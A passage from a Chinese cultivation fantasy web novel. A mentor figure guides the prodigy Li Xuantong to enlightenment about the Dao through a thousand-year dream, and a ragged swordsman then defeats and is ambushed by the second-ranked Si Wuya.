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,云舒也是道,天地无一不是道,又无一是道,自己所寻千年,犹如井中捞月而已。
得悟后,李玄通境界突飞猛进,得证道君果位,入帝路,失帝位。】
武道天眼之下,李玄通生平尽收陆尘眼底,年少早慧,少年得道,却因之自困千年,也是令人唏嘘。
“我且问你,何为道?”
陆尘直截了当的问道。
聪明人很容易点拨,但聪明到了极致的人,反而是并不好说。
听到陆尘这话,李玄通微微皱了皱眉头,他竟是自顾自的坐下来,双眸紧闭,神情凝重。
过了很久后,他才睁开眼说道:“天行之有常,可为道?”
陆尘摇了摇头。
李玄通稍稍一怔,又闭目沉思。
“世间万物之本源,可为道?”
良久后,他又说道。
陆尘依旧摇头。
“万物之流转可为道?”
“非也。”
“所行之路可为道?”
“非也。”
“衣食住行可为道?”
“非也。”
二人越说越快,但李玄通的每个答案,陆尘皆是微微摇头。
说到後面,李玄通似乎是急火攻心,猛的一口鲜血吐出,沾染在白衣之上。
他面色惨白的看着陆尘,十分迫切的想要知道一个答案。
“你先想,不着急,不用急着给我答案。”
陆尘看着脸色苍白的少年,当下轻声说道。
李玄
通眉头紧锁,再度陷入冥想之中,他这一坐,便是整整三日之期。
三日之间,陆尘倒也没闲着,在周遭寻了几位颇合眼缘的天骄指点一番,这才又悠悠回到紫云峰峰顶。
“何为道?”
陆尘笑问。
李玄通摇头,并不答。
“是不知道还是不敢说了?”
陆尘笑问道。
李玄通紧咬牙关,死死的盯着陆尘,鲜血自其眼眶流出,面目狰狞而又惨淡。
很难想象,此刻这般狼狈的少年是前几日那令众位天骄都心生仰望的谪仙人物。
良久后,他又低下头来,好似一瞬之间泄气一般。
“我想了很久,我的脑子里有千百个答案,但我知道它们并不是对的。”
“我不该问道的,当我第一次触摸到道痕时,有欣喜,有激动,可如今想来,那是拉我堕入无尽深渊的手。”
少年呢喃自语,他瘫倒在地上,仰望着九天之上的白云流转。
“我一直知道我比旁人要聪明的多,当他们还在接触那丝丝缕缕的道痕时,我已经真正领悟了大道真意。”
“可那又如何,当我真正领悟的那天,我才知道我所见到的不过是冰山一角罢了。”
“大道何其广阔,为何我所能触摸,所能立足的只有那方寸之地?”
“我想要得知道道的本源,以此穷尽三千大道。”
“这个念头很可怕,但也很吸引我,若我当真能知晓世间大道之本源,三千大道,何处不是我立身之所,又何需费尽心思去感悟一条又一条道。”
李玄通接着说道。
若是有旁人在这,指不定会觉得少年是个疯子。
寻常人皆是领悟出大道真意便是觉得不枉此生,少年竟然妄想参悟大道本源,以此执掌三千大道,此番言论,比之欲成帝䭾,有过之而无不及。
即便是所谓大帝,也不可能踏足在三千大道之上。
“我知道这会是心魔的种子,或许有一日开出花来,会令我道心破碎,但我不可能不去想,不可能放的下。”
“那浩瀚无垠的冰山皆是藏在海底之处,我不可能只立於其上那一足之地便沾沾自喜。”
“入百朝战场后,我一直克制自己不去多想,此番天地太小,来日入圣地后,得以周游五域四海,或许更有所感悟。”
李玄通双目有些失神,眼前一片恍惚。
“前辈先前所言,於我而言犹如长夜明火,我知如今问道,犹如飞蛾扑火,可我已退无可退。”
他站起身来,向陆尘郑重行礼。
“还望前辈救我。”
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第一百零五章 悟道
“你要知晓,大道玄妙,绝非我提点一二句,你便可恍然大悟,若真能如此,世间又哪来那麽多人为大道自困一生。”
陆尘说道。
“晚辈受教了。”
李玄通低下头,脸上神情落寞。
就好似飞蛾本已经做好了扑火的打算,只为见那一丝光亮,但当其展翅而飞时,火光却已然熄灭,不复存在半点。
“当然,我可以给你个机会,至於能否得悟,那便看你自己了。”
陆尘顿了顿,又说道。
李玄通一怔,旋即眼底激动情绪有些按耐不住的浮现。
虽说在同辈天骄面前,少年心性好似如海,波澜不惊,可少年毕竟还是少年,哪怕早慧了些,性子也不可能真如成人那般。
“多谢前辈。”
李玄通郑重而语。
“不过你要有心理准备,就如你所说飞蛾扑火。”
陆尘收起嘴角笑意,正色而语。
他双手负背,有风吹过时,碎发便同长袖一起招摇,飘飘然好似仙人。
“你或可得悟,但更有可能的是道心破碎,原先辛辛苦苦的所悟之大道真意,亦会是烟消云散,你当真愿意?”
陆尘再度问道。
“朝闻道,夕可死矣。”
李玄通一字一句而言。
对其而言,追寻道之所在,要胜过一切意义,哪怕是其自身性命。
“好。”
陆尘轻吐了个好字,眸子中便是有股红光急掠而出,好似命运那无可逃脱的大手一般,一瞬间将少年拉进一片玄妙之地。
只见得眼前天地寂寥,空无一人。
少年独立於山峰之处,却是感受不到天地间任何修士的气息,就好似苍茫天地间,唯余他一人一般。
“前辈?”
他试探性的喊了一句,然而与之回应的,只有天空之上划过一道弧线的飞鸟。
除此之外,再无半分声响。
李玄通皱了皱眉,一瞬之间身影跳动,在这苍茫的世界之中穿行,似乎想要找到些什麽人的踪迹。
可无论他走了多远的距离,天地间始终的山连着山,水连着水,一眼望不到尽头。
就这般苦苦搜寻数日後,李玄通终於静下来,不再思虑自己身处何般地界。
他悠闲在这片天地之间漫步,或看山,或看水,或看云,或看雨。
李玄通还记得自己悟得水之大道真意时,便是在一个雨天。
那场雨下的并不大,但也不小,总之是能将人淋透,但又不至於狼狈不堪的那种程度。
那时他站在雨中,灵气不自觉的旋绕在其周身,以至於虽是在雨中漫步,却仍未受到丝毫雨滴沾惹。
看着那连绵不绝的细雨,少年忽地想到自己好像已经很久没有淋雨了。
记忆中的那场雨,似乎已经是很多很多年前了。
这般想着,他将旋绕在周身的灵气褪去,就那麽任由雨滴打在自己的身上。
李玄通一步一步而行,等他漫步到仙门山脚下时,雨停,而大道得悟。
自此後,李玄通总是保持着外出云游的习惯,与他人喜欢闭关苦修截然不同。
少年知晓大道存於天地之间,故而他也行於天地之间,以此寻求大道。
而今李玄通所做的,便是这般行径。
虽不知眼前天地为何处,但少年已然是静下心来享受这一切,一步一步而行,以期得悟大道。
在这片天地的日子说是枯燥,但也并不全是。
虽说是并未有什麽人烟,耳边却总有飞鸟划过天际的交唤,有猛虎藏於山林的咆哮。
李玄通逐渐接受了这样的世界。
他漫步於天地之间,一走就是百年。
百年後,昔年的猛虎也早已化作了黄土,飞鸟仍在叫唤,却早已不是李玄通初遇时的那一只了。
故交皆死尽。
李玄通也再未有什麽交流。
他就这般孤身一人的接着漫步,偶尔间能捉摸到些许的道痕,却也并不以此欣喜了。
三百年过去,李玄通发觉这般漫步似乎并不是什麽有意义的事。
他已经踏足了每一处的山,涉过了每一处的水,然而离他所要求证的天地大道,却越行越远。
天地寂寥,他一时间不知道该去何处。
少年第一次感受到迷茫,就好像失去了方向而漂泊在大海之中一般。
想去哪里全然不是由自己所决定,而是由海风席卷着奔向不知去处,不知来路的未知之地。
这般感觉很不好,李玄通并不喜欢。
可他确确实实有些无处可去了。
这天地是很大,可三百年的时间,已经让他穷尽了每一处角落。
可道呢?
道在何处?
已然不是少年模样的李玄通颓然坐地,依旧是那座山峰之上,但少年的白衣却早已是换做了粗布衣裳,脸上也满是被岁月尽染的痕迹,整个人眼神恍惚,好似是穷途末路之人。
“还望前辈指点迷津,李玄通当真看不清!”
他仰天大吼一声,天际间有飞鸟被吓到的尖叫声与之呼应,除此之外,别无什麽声响。
片刻之後,天地再归寂寥。
李玄通苦笑一声,站起身来,颓然走到山顶之处的紫衫木树之下。
他倚靠在树下,有落叶飘落打在他的脸颊,风吹过,有些许清凉。
李玄通闭上眼睛,似乎是有些乏了。
等他再度睁眼时,原先倚靠的紫衫木树已然长成参天模样。
此闭目一睡,幽幽已过去不知多少年。
以往一尘不染的少年,此时已是满身污垢,若是有外人在此,必定是要赶忙避让。
李玄通确实满不在意,披头散发的悠悠而起,他身形晃荡,背影看着有些凄惨。
就这般蓬头露面的再行世间,那一睡多年过去,世间的一切都有着不小的变幻,以至於对李玄通都有些迷茫,是否是自己又置身於另一片天地之间了。
“前辈,这便是你说的道心破碎吗?”
李玄通行走在小溪旁,他看着小溪映照着的那张脸,竟是觉得万分陌生。
“但李玄通不悔。”
他双手捧起,掬起溪中清水打在自己脸上,随着清水拍打,李玄通的目光也变得越发坚定。
道,寻道,问道,求道。
李玄通相信,迟早有一日,自己会得到答案的。
就这般,他再度踏上这条路,越过漫漫山川,看尽花开花谢。
此又是五百年。
五百年风吹日晒,五百年雷雨交加。
他回到那条小溪旁,这一次,李玄通未再捧起那溪中清水。
李玄通就那麽跪在溪边,五指弯曲成爪,竟已是深陷进大地之中。
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“前辈,到底何为道?我看不清,我真的看不清啊。”
泪不自觉的落下,此时明月高悬,圆如玉盘,水中明月却是稀碎,犹如李玄通之道心。
第一次的,李玄通亦识到自己的苦寻是没有任何意义的。
对的,自己早就应该知道的。
大帝身负不死药,寿命万万之年,亦是不可知道之本源,自己不过肉身凡胎,又哪来的那麽大本事去得知何为道。
甚至李玄通觉得,这世上本就不存在什麽道。
至於那所谓的大道真意,不过是侥幸窃得天地的一丝本源而已。
那也只是属於天地之伟力,而非是什麽道。
若把天地比之於道,那便更是谬论了。
这般想着,李玄通便不再流泪。
他有些心死了。
心死的人是并不会流泪的。
当一切追求都成梦幻泡影之後,再去掉什麽眼泪便全然没有意义了。
“前辈,这时间当真有道吗?”
李玄通失魂落魄的呢喃而语。
“有。”
出乎他的意料,天地间忽地有人开口,轻声吐出一字。
这是李玄通在这里千年以来,第一次听到陆尘出声。
原本已是心死的少年此刻眸子中再度散发光彩,就好似一瞬之间,受天雨润泽一般。
他遥遥向远方一拜,而後站起身来,身形挺拔。
顷刻间,沧桑之人又再度变得少年模样。
少年白衣胜雪,身影在山峰之间跳动,又回到那山顶处的紫衫树木下。
树犹高大,李玄通却是看的出其内里早已枯竭,如今不过是徒有其表罢了。
他长袖轻挥,便有天雨润泽而下,落在紫衫树木之上。
随着天雨浇灌,紫衫树木重新焕发生机,树枝摇晃着,发出簌簌声响。
“好久不见,老朋友。
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”
李玄通眸子清澈的看着那老树。
有树叶飘零落下,这一次,少年伸手接过飘零落叶。
他将落叶收㣉袖中,而後盘腿坐下,闭目冥想。
既然单纯的走遍天地并不能得悟大道,那自己何不冥想试试?
总之无论结果如何,少年此时都是坚定无比。
知道这世上有道,那便可以了。
哪怕是千年万年,那又如何。
纵使千年万年过後,所求仍是一场空,少年亦是觉得自己绝不後悔。
少年㣉定,日月不断轮转,春秋来来去去。
老树依靠着李玄通㣉定前留下的真水而苟延残喘着,世间的万物却是在不断变化。
某一日,有浪潮呼啸而起,将世间的一切淹没,连同那高山,以及峰顶之处的一人一树。
少年漂泊在滔天洪水间,但他却仍在㣉定之中,未受外界天翻地覆的丝毫影响。
就这般随流水漂泊着,好似茫茫无际大海中的小舟。
有鱼虾蛟龙想要啃咬少年肉身,却是无从下口。
或许是因为少年大道亲水,故而无论是周转去何处,始终有流水护佑在少年周遭,将那些杂物尽皆隔离。
千年之後,少年从㣉定之中醒来。
眼前天地已是焕然一新。
他将手抵在额间,有些见不得这阳光刺眼。
千年如一梦。
少年并没有如他所料想的那般有所得悟。
这千年间,他什麽也没想清楚,就好像是睡了整整一千年。
当然这般长睡又与第一次在那紫衫树下长睡不同。
当时是因心有些疲惫需要休憩,如今咋单纯只是心思放空,并未做他想罢了。
尽管千年光阴好似虚度,但少年却并未再因此有任何的困惑又是繁杂。
既然世间有道,道就在那,迟早有一日会有所悟的。
自己又何必急於这一时。
哪怕是没有,那又如何。
自有後来人。
就好似山就在那,哪怕自己登不上,也迟早有人能登上。
这般想着,少年便再也没有半分的杂乱心思。
他悠悠起身,给自己换了新衣裳,沧桑漂泊千年的肉身再度焕发荣光。
少年悠然自得的看着天地万物,他觉得一切都是陌生,但一切又都是熟悉。
大水冲刷过的世界似乎极为乾净,少年时而蹲下看花,又时而仰头看云。
花开花落,云卷云舒,天地万物流转。
“我悟了,我悟了!”
少年忽地大笑起来,笑着笑着,眼角便挤出了几滴泪。
“花开是道,花谢是道,云归是道,云去是道,吃饭是道,睡觉是道,世间万物,无一不是道,又无一是道。”
他手舞足蹈的这般笑道,疯疯癫癫的,全然不似是那傲然而立的少年人物,反倒像是世俗王朝中执迷功名半生之人终於中举了一般。
随着少年手舞足蹈疯疯癫癫的模样,眼前的一切都在消退,山失了颜色,水失了颜色。
一切的一切都失了颜色。
天地一黑,再睁眼时,少年便已是出现在一处山峰之上。
天地间龙气弥漫,全然不似先前那般清净之地。
李玄通缓缓睁开眼,只觉得自己做了很长一个梦,梦中到底历经了什麽,他已然有些不记得了。
“如何?”
陆尘笑问道。
李玄通摇了摇头。
“不记得了。”
“那我现在问你,何为道。”
陆尘对於李玄通的回答倒并不意外,此番天地是由大梦乖离所化。
大梦乖离中的这场大梦,原本应该是㣉梦䭾内心最渴望或是最恐惧之事物所幻化而成。
但随着陆尘实力境界的进展,他已然可以用此大梦乖离的小神通造梦,构建一个梦中世界。
而刚才那片小天地,便是陆尘所构建的道场,给李玄通一个悟道的机会。
陆尘并未骗李玄通。
此番机会确实是风险与危机并存。
李玄通若是自己不能得悟,确确实实是会道心破碎,自此一蹶不振。
所幸,历经千年,终有所悟。
第一百零六章 道可道
不过这大梦乖离虽是玄妙,却毕竟只是门小神通,并非能做到真正的大梦一场,让入梦之人在梦中修行悟道。
传言古之帝者中,便有一位掌握大梦之术,可使入梦之人在里间悟道,在其中所修道行与境界都能保留下来,梦中千年,外界不过一年而已。
陆尘之法则并无此功效,他虽令李玄通在其中悟道一场,但李玄通并不会记得在其间历经了什麽,只是会保留心境而已。
而此时,李玄通听得陆尘所问,没来由的,他便说出了梦中所悟得的那一番话。
花开是道,花谢是道,云归是道,云去是道。
吃饭睡觉亦是道。
天地间,无一是道,无一不是道。
这般话说出口,李玄通便觉得自己心中好似水镜一般澄澈,全无半点尘埃。
陆尘满意的点了点头。
要造这一场梦境,对於陆尘自身也是消耗极大,哪怕以之如今修为,想要支撑起这梦境,亦是要藉助灵丹妙药方可,单凭天地灵气吸收,绝无可能能支撑起这场千年之梦。
“多谢前辈赠我造化一场,晚辈感激不尽。”
李玄通正色而语。
他虽不知道那梦中发生了什麽,可自己的心境不会骗人。
以往那颗埋下的种子,也早已是烟消云散,再也不见。
如今自己心如水般澄澈,不沾惹丝毫的尘灰。
李玄通知道,道即是道,道就在那。
所以他会执着,但不会沉沦。
【夫子之责行使完毕,宿主将获得大量回馈奖励】
【奖励一:一品大道真意——堙灭】
【奖励二:小神通——归去来兮】
【奖励三:大道真器——九霄玄金伞】
机械声忽地在陆尘耳边响起,只见得三道金光悄然出现陆尘心海之中,皆是显露着极为恐怖的气息。
“不愧是金色命格奖励,果真不凡。”
陆尘自顾自的赞叹道。
金色与紫色虽然只有一层相差,但二者之间的奖励,却是相差十万八万里,全然不可相提并论。
直到如今,陆尘所遇见的金色命格之人,也不过只有五人。
“对了,如今离你们入龙脉之地,已然过了三月。”
陆尘将杂念甩去,又与李玄通说道。
这三月将陆尘也是指点了不少天骄,但并未离李玄通之地太远,以防大梦乖离的梦境出现问题。
如今陆尘已是封王二转的境界,这般境界,修行进展亦是极为缓慢。
封王境修士,於天地间便好似裂土封王之人,虽仍要受天道一定的束缚,但在自己的封地之中,便是绝对的王者。
此番封底,便是所谓的域。
每个封王强者都有自己的域,这片域,便是封王境强者的封地,在此番封地之内,天道虽仍能有所压制,但这番压制,却是大打折扣。
而到了这般境界,也几乎不可能再被逆行伐上了。
封王境强者在其域之内,那便是不死不灭的存在,纵你封侯境之人有千般手段,肉身如何强横,又或者是术法如何通天,依旧无可奈何。
域就在那,立於其中,便是如王,不动如山。
陆尘随处的,便是这般境界。
只是到了这般境界,所要吞噬的天地灵气也越发庞大。
再加之那麒麟玉总是要分去大半,故而陆尘这般境界虽是飞速,但实则却已经算的上是很慢了。
但若抛开乱七八糟的东西不谈,单以此境界而论,陆尘此番境界攀升之快,属实是前无古人,是万万年未有之举。
他初入百朝战场时,不过上阳境界,如今九个月过去,已然登临封王境界。
这般进展迅速,若不是陆尘又有花神之蕊又有荒古精血等加身,恐怕早已是根基虚浮,成了个空有境界的花架子了。
上阳,太阴,神游,封侯,封王。
这里间的差距犹如天堑,寻常人恐怕要用一生来跨越,而陆尘只用了不到九月。
当然,这并未令陆尘有什麽飘飘然自得之感。
见识过斩龙人这些大人物出手,陆尘要比至尊之下的任何人都要清楚。
未成至尊,皆是蝼蚁。
搜书名找不到, 可以试试搜作者哦, 也许只是改名了!
而如今的自己,在至尊眼里也不过是爬的稍快一些的蝼蚁罢了。
蝼蚁终究是蝼蚁,哪怕爬的再快,也逃不过别人一脚的。
而陆尘有预感。
天渊将至。
并且不可能还是像先前那般,若此次天渊出手,恐怕并不会想要再生丝毫意外。
到时候来的,可能是真君,亦可能是真正的,至尊。
每当想到这些,陆尘便越是能感觉到时间的紧迫,命运似乎开了个玩笑,在其境界低微时,悠然自得,随性而至山水之间。
如今境界高了,能飘然至千里之外,反倒是在樊笼之中,不得所脱。
他摇了摇头,不再思虑这些琐事。
而李玄通听得陆尘所言过了三个月,当下倒是并不感到意外,眼神中依旧满是感激神色。
“哪怕是三年,三百
年,亦是不及我如今心境
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,又何况区区三月。”
少年这般说道。
这是他的诚心之语。
道心对很多人来说可能是无稽之谈,是虚无缥缈的东西。
但对於李玄通林炎这般的天之骄子而言,道心是一切修行的根本。
若是道心不定,那便是大厦将倾。
为什麽很多成名已久的大能会在某一刻堕入魔道之中,那便是道心已然消散,不复存在。
而魔道所行讲究一个随意,道心可以有,当然没有也无妨。
堕入魔道其实是个不错的结局了,更多的可能是道心破碎的当时,便是整个人再也管控不住体内灵气,爆体而亡。
陆尘所为,便是帮李玄通这颗有隐患的道心扫去了其上阴霾。
这是任何机缘都比不上的东西。
哪怕将那所谓的真龙神通交换,李玄通也不愿意。
“少主,你终於醒了。”
有一位老者忽地出现在山峰之上,老脸之上满是担忧之色。
“姜爷爷,前辈帮了我个大忙,即便是让我以命相托也要还的那种。”
李玄通说道。
老者闻言一怔,而後竟是猛的跪下向陆尘磕头。
陆尘也是一愣,挥袖将之扶正。
“数月前老奴以小人之心度君子之腹,还望前辈见谅,若有任何吩咐,气绝玄门定不负所托。”
老人竟是热泪盈眶而语,可想而知对这少年是如何的看重与爱护。
陆尘点了点头,倒并未推辞什麽。
“心境一事,并非一劳永逸,以後如何,还需看你自己。”
陆尘又道。
“谨记前辈教诲。”
李玄通正色而语。
说完此话,陆尘也不再逗留,飘然而去。
他目光投向远处,那是除李玄通外的第一人。
潜龙榜第二,思无涯。
如今第四第五为林炎,段凌云。
第二第三则仍是一开始的那二人。
这三月间,也并未有人与这二人交手,都在等着有像林炎段凌云这二位一般的人先出手,以此看清虚实。
而当初李玄通的出手,显然就令所有人折服,至於这二位,到底到了哪个地步,前十之人都很想知道,但彼此间又都在等着他人出手。
“磨磨唧唧的,让我来。”
山脚下,有位背剑少年自顾自的嘀咕道,他身上并没有丝毫的光柱,甚至背的剑,亦是一把残剑。
“臭老头,你就等着听我的名字传遍四海吧。”
少年又嘀咕着什麽。
第一百零七章 剑与剑
龙脉之地,意气峰。
与其名称相一致,意气峰确实意气,其山峰之高耸入云,比之紫云峰更甚。
此番山顶处所能吸食龙气,可谓之罪。
山腰处有很多人,山顶处却只有一人。
那人独立於山顶之处,身上的金光冲天而起,好似天柱一般。
龙气疯狂的汇聚於其体内,使之浑身散发着淡淡的金色光泽。
少年长发束起,身穿紫袍,其腰间佩剑,剑鞘质朴,并未有什麽繁华之气。
龙脉之地的几处灵峰都被前十之人牢牢占据着,这十峰皆是吸食天地龙气的绝佳场所,再加之那金光涌入,在此处修行,一日可抵外界十日。
於这些本就修行飞速的天骄而言,自然更是极为珍贵。
思无涯便在这意气峰足足待了三个月,其间并无人敢上前打扰。
而这一日,似乎是感知到了什麽,少年不再盘腿修行,而是站在山顶间,感受着山风呼啸而过。
忽然间,他转过身去。
不知何时,已然有一位身着粗布麻衣的少年站立在这山峰之上。
三个月来,第一次的,有外人站在了这上面。
二人皆是剑修,不一样的是,思无涯腰间悬剑。
剑鞘虽是质朴,并未有什麽繁华之感,但任何的明眼人却都是能看出这剑鞘质地非凡,绝对是名家所造,能用这般剑鞘的,里间长剑恐怕也绝非凡品。
而少年比之思无涯,则明显是十分寒酸。
不但是那粗布衣裳,其所背之剑,亦是把短剑。
剑身上坑坑洼洼的,没有半点寒芒。
“你是来问剑的?”
思无涯皱眉道。
他原以为会是前十之列中的哪一位忍不住出手,却没想是个没有来头的毛头小子,甚至身上连金光都没有。
“不然我是来找你聊天的?”
少年笑呵呵的说道。
“你是那位陆夫子门下的学生?”
思无涯又问道。
他知晓这百朝战场中有位陆夫子,指点过诸多天骄,令他们脱胎换骨,而前段时间,与李玄通交手的那人便是出自这陆尘门下。
当时不过十来天,那二人便分别登临了第四第五的位置。
若真是出自那人门下,自己应该将眼前人当做前五的少年至尊问剑。
“不是,我并不认识什麽陆夫子”
少年十分坦诚的摇了摇头。
“我的师傅是个老头,你肯定不知道啦,就是那种世俗巷子里随处可见的老头,就爱喝酒,酒量还不行,一喝就要醉倒在大街上,每次都还要让我给背回去,背回去后呢,不但不感激我,还要臭骂我一顿。”
一提起自己的师傅,少年就变得有些话痨起来,嘀嘀咕咕的说了一大串。
但思无涯显然没有兴趣听这些乱七八糟的琐事。
他脸色暗了下来,有些难看。
原以为第一个找上门的会是什麽高手,却没想会是这般人物。
一时之间,他连出手的欲望都没有了。
思无涯本来都已经想好了,若是有来者,他定会先赞扬一番,而後取胜后,再说着什麽侥幸侥幸的话。
而後二者来一场英雄相惜的场面,定然要比李玄通那副死板模样受人追捧的多。
但少年的突然出现打乱了他所有的规划。
与这样一个毛头小子相比,思无涯觉得自己是受到了侮辱。
凭什麽李玄通能让第四第五的人同至请战,而自己却只能与这般人物交手。
思无涯有些头疼,从修行至今,他还是第一次被人踩在脚下,屈居第二。
他从一开始入这百朝战场,便是抱着夺下第一的念头来的。
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哪怕是被潜龙榜认为第二,思无涯也并不觉得自己真就是第二。
直到见到李玄通那大道真意时,思无涯才发觉自己与之的差距似乎不只是第二比之第一的差距。
可即便如此,自己依旧是这潜龙榜第二,又何以沦落到这般地步,与一位师傅是酒鬼的毛头小子交手。
与李玄通那场大战一般,此时依旧是有众多天骄在意气峰周遭围着,满怀激动的看着这场天骄大战。
而身处大战之中的思无涯,却并不太愿意出手。
“你要不先去与第十人交手,若与我交手的话,或许会伤及你之道心。”
思无涯劝道。
他实在不想自己的首战浪费在这里。
“前十人中只有你是用剑的,我才找上的你。”
少年又是笑呵呵的说道。
思无涯脸一黑,拔出腰间长剑。
长剑一出,天地间剑气激荡,犹如雨落。
少年亦是取下身後那残剑,却并未有什麽异象。
思无涯眸子一暗,还希望这小子是个扮猪吃老虎的玩意,如今看来,只是脑子拎不清罢了。
“去。”
他将长剑一指,天地之间的剑气便是如千百道飞剑一般的袭向少年,令之没有半分躲避之处。
少年似乎也并未有任何想要躲避的念头,他一晃手中断剑,像是沙场之中的将帅挥旗一般。
“散。”
随着少年的号令,所有的剑气皆是烟消云散。
不远处,陆尘眸子里水雾浮现。
红,红。
二者皆红。
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第一百零八章 人心如剑
山峰之上,剑与剑相摧折,迸发出轰鸣响声,好似雷震。
二人各退数步,相视一眼,便又是提剑而出。
剑气浩瀚如风云激荡,令在场中人无不吃惊。
谁能想到,又是一个连金光都没有的家伙横空出世,一出手便与潜龙榜第二打的不相上下,并且隐隐之间还占据上风。
“这天下英雄,果真如过江之鲫。”
外人无不是这般感叹道。
不过也是此届百朝大战特殊了些,要按照以往来看,这前十之列基本上都是被世家帝朝之人所牢牢占据,像如今这般的情形,倒当真是少见。
“金榜第五也来了!”
就在这时,忽地有人惊呼了一声。
只见一道粗壮如天柱一般的光柱亦是出现在意气峰百里之外,正是段凌云。
“夫子。”
段凌云落在陆尘身旁,恭敬行礼。
陆尘点了点头,示意他先看那意气峰峰顶的二人交手。
峰顶之上,二人剑招齐出,每一招都极为凌厉,令得在场的剑修都不免汗颜。
近百招过後,思无涯的脸色已然是极为难看,好似是吃了什麽不干净的东西一般。
对於其而言,手中之剑便胜过世间一切,可如今以剑术相论,百招之後,自己隐隐之间已然是有些许吃力,但眼前的小子似乎仍是极为惬意,好似随手一抖落,便是绝妙剑招一般。
思无涯心中已经是有些难堪,交手到这般地步,哪怕赢了,恐怕天骄们也只会谈论起这横空出世的少年,至於自己,倒是成了什麽垫脚石一般。
这是他绝对不允许出现的状况。
想到此处,思无涯暴喝一声,只见得其手中长剑瞬间变得无比巨大,好似要劈开天幕一般。
他双手握剑,以举火燎天之势将这一剑斩落,一剑之威,激荡万万里,隐约之间,道痕已经浮现其中。
在场的所有天骄都为之震惊,要知晓剑道乃是世间第一等的大道,莫说是剑道真意了,哪怕是那一丝一毫的道痕亦是极难领悟。
相传若是有天骄能悟得剑道真意,那便可直接㣉圣地之中,拜名师为尊,无需任何别的条件,什麽根骨啊什麽境界啊,都不要紧。
“这世道真是变了,竟随便一天骄出世,就能和这些帝朝的顶尖妖孽们交手,甚至逼得其使出这般绝技,当真恐怖。”
方圆百里之内,又有人这般叹道。
这倒并非是他们吹捧,而是今年之事属实是破天荒头回见。
先是有荒古神体战潜龙榜第一,令众人见识到李玄通的各番惊人手段,明白他为何能登上这潜龙榜第一,后又有这少年持断剑而出,逼得潜龙榜第二使出这般手段,可想而知,此届百朝大战是如何激烈。
意气峰顶上,面对那身长千尺的巨剑,手持断剑的少年不闪不避。
他眸子闭起,指尖划过剑身,鲜血滴落在长剑长剑之上,一瞬间将长剑染的血红。
待得少年再睁眼时,那激荡千里的剑光便已至身前。
他挥剑而出。
剑气横扫,与那劈落的长剑剑气相撞。
砰的一声,只见得剑气四散开来,众人只觉得剑光耀眼无比,瞬息之间犹如大日侵临,令人忍不住的伸手遮挡。
剑光黯淡后,那手持断剑的少年竟然已经是逼近至思无涯身前,二人白刃相接,容不得有任何花哨的剑招施展,就好似是江湖之中的侠客一般,刀剑相错,直到沾染上他人鲜血,方可罢休。
而少年近身时使那断剑,给人的感觉亦不像是在用剑,反倒是像手握一把短刀,凌厉至极。
刀光剑影间,思无涯手中长剑竟是脱手飞出,斜插㣉地。
少年手腕一拧,断剑剑尖处便是直指思无涯的眉心。
“承让了。”
少年笑嘻嘻的说道。
剑尖之上锋芒毕露,那柄断刃虽是残缺,但明眼人都知晓,其剑身之锋芒,丝毫不亚於思无涯的名剑——无涯。
思无涯脸色阴沉,一言不发。
“令牌给我呗。”
少年笑嘻嘻的说道。
思无涯死死的盯着少年,似乎在犹豫些什麽,可那断剑身上的寒芒却不会思考什麽,就那麽冷冷的笼罩在思无涯周身。
身为剑修,思无涯要比正常人都更清楚,在这个距离被剑修拿剑指着,哪怕有千般手段实战,也不会有剑修手中之剑快。
诚然他还有很多底牌没有露出,可眼下在这柄断剑之下,也已经没有半点机会了。
思无涯稍一甩手,便有一块令牌自其袖中飞出。
少年手往虚空一抓,令牌便㣉其掌中。
浩荡的金光凝聚在少年身上,与此同时,思无涯身上金光却是不断消散。
在场中人尽皆震惊,谁也没有想到最终会是这样的结果。
连金光都没有的家伙一出手,便拿下潜龙榜第二?
属实是闻所未闻,见所未见。
“得罪咯。”
少年心满意足的朝思无涯拱了拱手,当下便欲离开。
“稍等。”
思无涯说道。
少年顿了顿。
有什麽声音呼啸而过。
是飞剑划破空间的裂痕之声。
思无涯脚往地面一塌,只见得金光一瞬之间将少年笼罩在原地,好似牢笼一般。
原些斜插㣉地的飞剑不知何时已然飞出,犹如惊虹一般向少年急掠而去。
“这……”
“好卑鄙的手段!”
“怎麽说也是帝朝天骄,怎行此勾当!”
一时之间,在场的天骄们皆是口诛笔伐。
但此时少年已被金光之术禁锢,挣脱不得分毫,好似待宰羔羊一般。
思无涯眼底浮现一抹疯狂之色,真龙令牌何其珍贵,决不允许有失,至於这区区名声,又何足挂齿。
来日登临山峰,耳边听到的自然只会是底下之人的颂赞之声。
剑破虚空,寒芒毕露。
少年眼里有怒气涌现,他忽地想起老头子说的话。
“臭小子,你要记住,在外边啊,人心,远要比剑锋利的多。”
如今一见,果真如此。
什麽天骄榜第二,什麽帝朝妖孽,也不过是个背後使诈的小人而已。
少年手中紧握断剑,眉心之处忽地有一道细长的裂痕出现。
既然如此,那不妨鱼死网破好了。
他心中如此想道。
只是这一念着鱼死网破,少年又觉得有些对不起老头子。
说好要名扬天下,说好要带好多壶美酒回去的,似乎并没有机会了。
剑气激荡,少年剑心澄澈如水镜。
“潜龙榜第二,也需使这般手段?”
就在少年决意鱼死网破之际,竟有一道身影出现在其身後,一拳砸出,带着滔天拳势,猛的将那长剑击飞。
那人转过身来,正是段凌云。
那飞剑速度极快,本应无人拦的下才对,但经过陆尘提点,段凌云已然是先那长剑动身,这才能赶在那飞剑刺杀之前将之拦下。
“不愧是夫子,果真是神机妙算。”
段凌云又在心中感叹道。
那飞剑被一拳砸飞后,少年身上的金光亦是消散,他道了声谢,还未等段凌云说些什麽,整个人便挥舞着断剑攻向思无涯。
思无涯手中无剑,再加之一击未中,心气已然是跌到谷底,当下虽身法灵动闪躲,却是被少年手中之剑接连逼退,显得十分狼狈。
他双手结印,术法来不及唤出,便猛的被少年一剑劈中,当下束发亦是散开,脸上沾惹上些许血迹。
少年显然不肯就此罢手,断剑挥舞之间,剑道痕迹显现而出,压的思无涯喘不过气来。
数招过後,思无涯再无闪躲腾挪的空间,受到剑气横扫,身形倒飞而出,猛的砸在另一处山峰的崖壁之上。
少年提前追上前去,似乎不杀之不罢休。
就在其追赶之际,却忽地有数道身影腾空而起,立於半空之中,拦在少年身前。
这一行几人皆是衣着华丽,气息不凡,显然皆是帝朝天骄。
“得饶人处且饶人。”
为首的女子皱着眉说道。
“先前他暗剑伤人之时,你等为何不来说这番话呢?”
少年怒气而语。
剑气在其周遭激荡而出,犹如风场一般旋绕,令人不敢逼近。
“此一时彼一时,再者我真天帝朝之人,又岂是你能撼动。”
那女子一袭白衣,神色清冷,带着股漠视众生的寒意。
思无涯自崖壁之上
